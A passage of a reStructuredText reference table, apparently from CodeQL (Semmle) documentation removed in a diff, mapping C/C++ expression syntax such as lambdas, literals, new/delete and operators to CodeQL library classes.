<https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$FoldExpr.html>`__ | Appears only in *uninstantiated* templates | -| | ``auto`` *sum* ``(`` *T* `...` *t* ``)`` | | | -| | ``{ return (`` *t* ``+ ... + 0 ); }`` | | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``int`` *func* ``(`` *format* ``, ... );`` | `FormattingFunctionCall <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/commons/Printf.qll/type.Printf$FormattingFunctionCall.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``[ = ] ( float`` *b* ``) -> float`` | `LambdaExpression <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Lambda.qll/type.Lambda$LambdaExpression.html>`__ | C++11 | -| | ``{ return`` *captured* ``*`` *b* ``; }`` | | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``^ int ( int`` *x* ``, int`` *y* ``) {`` | `BlockExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$BlockExpr.html>`__ | Apple extension | -| | ``{`` `Stmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$Stmt.html>`__... ``; return`` *x* ``+`` *y* ``; }`` | | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``void *`` *labelptr* ``= &&`` *label* ``;`` | `LabelLiteral <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Literal.qll/type.Literal$LabelLiteral.html>`__ | GNU extension; use with `ComputedGotoStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$ComputedGotoStmt.html>`__ | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| *"%3d %s\\n"* | `FormatLiteral <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/commons/Printf.qll/type.Printf$FormatLiteral.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| *0xdbceffca* | `HexLiteral <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Literal.qll/type.Literal$HexLiteral.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| *0167* | `OctalLiteral <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Literal.qll/type.Literal$OctalLiteral.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| *'c'* | `CharLiteral <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Literal.qll/type.Literal$CharLiteral.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| *"abcdefgh"*, *L"wide"* | `StringLiteral <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Literal.qll/type.Literal$StringLiteral.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``new`` `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ ``[`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``]`` | `NewArrayExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$NewArrayExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``new`` `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ | `NewExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$NewExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``delete [ ]`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``;`` | `DeleteArrayExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$DeleteArrayExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``delete`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``;`` | `DeleteExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$DeleteExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``noexcept (`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``)`` | `NoExceptExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$NoExceptExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``=`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `AssignExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignExpr.html>`__ | See also `Initializer <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Initializer.qll/type.Initializer$Initializer.html>`__ | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``+=`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | | `AssignAddExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignAddExpr.html>`__ | | -| | | `AssignPointerAddExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignPointerAddExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``/=`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `AssignDivExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignDivExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``*=`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `AssignMulExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignMulExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``%=`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `AssignRemExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignRemExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``-=`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | | `AssignSubExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignSubExpr.html>`__ | | -| | | `AssignPointerSubExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignPointerSubExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``&=`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `AssignAndExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignAndExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``<<=`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `AssignLShiftExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignLShiftExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``|=`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `AssignOrExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignOrExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``>>=`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `AssignRShiftExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignRShiftExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``^=`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `AssignXorExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignXorExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``+`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | | `AddExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$AddExpr.html>`__ | | | -| | | `PointerAddExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$PointerAddExpr.html>`__ | | | -| | | `ImaginaryRealAddExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$ImaginaryRealAddExpr.html>`__ | | C99 | -| | | `RealImaginaryAddExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$RealImaginaryAddExpr.html>`__ | | C99 | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``/`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | | `DivExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$DivExpr.html>`__ | | | -| | | `ImaginaryDivExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$ImaginaryDivExpr.html>`__ | | C99 | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``>?`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `MaxExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$MaxExpr.html>`__ | GNU extension | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``<?`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `MinExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$MinExpr.html>`__ | GNU extension | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``*`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | | `MulExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$MulExpr.html>`__ | | | -| | | `ImaginaryMulExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$ImaginaryMulExpr.html>`__ | | C99 | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``%`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `RemExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$RemExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``-`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | | `SubExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$SubExpr.html>`__ | | | -| | | `PointerDiffExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$PointerDiffExpr.html>`__ | | | -| | | `PointerSubExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$PointerSubExpr.html>`__ | | | -| | | `ImaginaryRealSubExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$ImaginaryRealSubExpr.html>`__ | | C99 | -| | | `RealImaginarySubExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$RealImaginarySubExpr.html>`__ | | C99 | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``&`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `BitwiseAndExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/BitwiseOperation.qll/type.BitwiseOperation$BitwiseAndExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``|`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `BitwiseOrExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/BitwiseOperation.qll/type.BitwiseOperation$BitwiseOrExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``^`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `BitwiseXorExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/BitwiseOperation.qll/type.BitwiseOperation$BitwiseXorExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``<<`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `LShiftExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/BitwiseOperation.qll/type.BitwiseOperation$LShiftExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``>>`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `RShiftExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/BitwiseOperation.qll/type.BitwiseOperation$RShiftExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``&&`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `LogicalAndExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/LogicalOperation.qll/type.LogicalOperation$LogicalAndExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``||`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `LogicalOrExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/LogicalOperation.qll/type.LogicalOperation$LogicalOrExpr.html>`__ | | 